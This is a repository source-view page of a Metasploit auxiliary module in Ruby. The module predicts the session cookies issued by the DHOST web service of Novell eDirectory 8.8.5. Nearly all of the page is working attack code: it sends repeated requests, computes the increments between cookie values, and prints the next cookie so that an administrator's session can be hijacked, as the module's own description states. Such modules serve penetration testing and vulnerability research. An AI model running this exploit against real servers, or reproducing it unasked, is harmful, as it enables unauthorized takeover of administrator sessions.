Statistics
| Branch: | Tag: | Revision:

root / modules / auxiliary / admin / edirectory / edirectory_dhost_cookie.rb @ master

History | View | Annotate | Download (2.1 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12

    
13
require 'msf/core'
14

    
15

    
16
class Metasploit3 < Msf::Auxiliary
17

    
18
        include Msf::Exploit::Remote::Tcp
19

    
20
        def initialize(info = {})
21
                super(update_info(info,
22
                        'Name'           => 'Novell eDirectory DHOST Predictable Session Cookie',
23
                        'Description'    => %q{
24
                                This module is able to predict the next session cookie value issued
25
                        by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run
26
                        this module, wait until the real administrator logs in, then specify the
27
                        predicted cookie value to hijack their session.
28
                        },
29
                        'References'     =>
30
                                [
31
                                        ['OSVDB', '60035'],
32
                                ],
33
                        'Author'         => 'hdm',
34
                        'License'        => MSF_LICENSE,
35
                        'Version'        => '$Revision$'
36
                ))
37

    
38
                register_options([
39
                        Opt::RPORT(8030),
40
                        OptBool.new('SSL', [true, 'Use SSL', true])
41
                ], self.class)
42
        end
43

    
44
        def run
45
                vals = []
46
                name = ""
47

    
48
                print_status("Making 5 requests to verify predictions...")
49
                1.upto(6) do
50

    
51
                        connect
52
                        req =  "GET /dhost/ HTTP/1.1\r\n"
53
                        req << "Host: #{rhost}:#{rport}\r\n"
54
                        req << "Connection: close\r\n\r\n"
55
                        sock.put(req)
56
                        res = sock.get_once(-1,5)
57
                        disconnect
58

    
59
                        cookie = nil
60
                        if(res =~ /Cookie:\s*([^\s]+)\s*/mi)
61
                                cookie = $1
62
                                cookie,junk = cookie.split(';')
63
                                name,cookie = cookie.split('=')
64
                                cookie      = cookie.to_i(16)
65
                                vals << cookie
66
                        end
67
                end
68

    
69
                deltas   = []
70
                prev_val = nil
71
                vals.each_index do |i|
72
                        if(i > 0)
73
                                delta = vals[i] - prev_val
74
                                print_status("Cookie: #{i} #{"%.8x" % vals[i]} DELTA #{"%.8x" % delta}")
75
                                deltas << delta
76
                        end
77
                        prev_val = vals[i]
78
                end
79

    
80
                deltas.uniq!
81
                if(deltas.length < 4)
82
                        print_status("The next cookie value will be: #{name}=#{"%.8x" % (prev_val + deltas[0])}")
83
                else
84
                        print_status("The cookie value is less predictable, maybe this has been patched?")
85
                        print_status("Deltas: #{deltas.map{|x| "%.8x" % x}.join(", ")}")
86
                end
87
        end
88

    
89
end
90